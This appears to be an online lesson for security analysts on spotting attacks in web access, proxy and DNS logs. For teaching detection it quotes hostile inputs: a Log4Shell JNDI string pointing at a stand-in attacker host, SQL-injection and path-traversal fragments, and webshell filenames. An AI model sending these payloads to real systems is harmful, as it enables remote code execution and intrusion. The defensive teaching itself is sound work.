Skip to content

Lesson 6 of 14 · 15m

Web, Proxy, and DNS Logs

Access-log fields that expose exploitation, proxy categories that answer 'who clicked,' and DNS logs that catch what HTTPS hides.

Web and DNS telemetry answers the two questions triage asks most: did the exploit reach the application, and did anything leave. The formats are boring — Apache/Nginx combined format (IP - - [time] "GET /uri HTTP/1.1" status bytes "referer" "UA"), IIS's W3C files at C:\inetpub\logs\LogFiles\W3SVC1\u_exYYMMDD.log, your proxy's category tags, Zeek's conn.log/dns.log/http.log. What matters is reading the shapes attacks make in them.

What attacks look like in access logs

  • 404 spray at volume. Thousands of GETs for /admin.php, /wp-login.php, /.git/config — scanner noise on hosts that don't even run PHP. Reputation-check the source IP; if GreyNoise tags it mass-scan, it's the internet breathing on you.
  • The exploit string itself. In December 2021 the internet's access logs filled with ${jndi:ldap://attacker/a} — CVE-2021-44228, Log4Shell — placed in URIs, User-Agents, Referers, and every header the app might log. A 401 on that request does not mean "blocked": the JNDI string gets parsed by the application's logging layer, not your auth check. The verdict comes from the patch level and the outbound LDAP/connect attempts that follow.
  • SQLi shapes — ' OR 1=1, UNION SELECT in cs-uri-query — and traversal — ../, %2e%2e, %00 null bytes.
  • Webshell probes: requests for shell filenames (b374k.php, c99.php, cmd.jsp) that return 200 on a server that shouldn't have them — check whether the file actually exists.
  • The columns juniors skip: sc-bytes (response size — a login page suddenly returning 400KB is exfil-shaped), time-taken (a request that held 60 seconds did server-side work), and methods like OPTIONS/CONNECT you never expect.

The wrong mental model

"200 means compromised." It doesn't — a 200 on a webshell probe means a file was served; check if it was the app's own file. Inverted: "404/401 means safe." Log4Shell proved the payload executes whether or not auth liked the request — the exploit hits the parser, not the page. Second failure: thinking outbound firewall rules mean C2 can't leave. DNS doesn't need your proxy. And third: staring at requests without checking the follow-up. An exploit attempt is noise until the same source IP comes back with different requests — the callback is what separates a scanner from an intruder.

Proxy logs: who else is involved

Your proxy — Zscaler, ProxySG, Squid, Netskope — sees every user's outbound request with URL category and verdict fields. This is the scope answer for phishing: the reported message had a URL; the proxy log says which other users' browsers fetched it. It's also the egress truth for endpoints: when the EDR is silent, the proxy's log of the host's outbound requests is an independent witness that doesn't depend on the endpoint telling the truth.

DNS and beaconing

DNS logs are the exfil channel nobody watches. Tunneling — dnscat2, iodine — hides in TXT queries with 60-character labels and high character entropy to domains registered yesterday. EID-22-level attribution isn't even required: the query volume and label length alone indict. For C2 beaconing, Zeek's conn.log shows it as periodicity: connections to a rare host every 300 seconds with near-constant byte counts, plus jitter the author added to evade exactly this check — look for regular interval, not exact interval. And where TLS hides the payload, JA3/JA3S fingerprints in ssl.log identify the client tooling anyway — a curl or a custom implant presents a different TLS handshake than Chrome, which is why "they used HTTPS" stopped meaning "we can't see it" years ago.

grep -E 'POST|GET' access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head
tshark -r capture.pcap -Y 'http.request' -T fields -e ip.src -e http.host -e http.request.uri

The practice: pivot on c-ip, count request shapes, reputation-check the source, check sc-bytes/time-taken, then hunt the outbound side — DNS query log and conn.log — before you decide whether the inbound noise became an incident.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.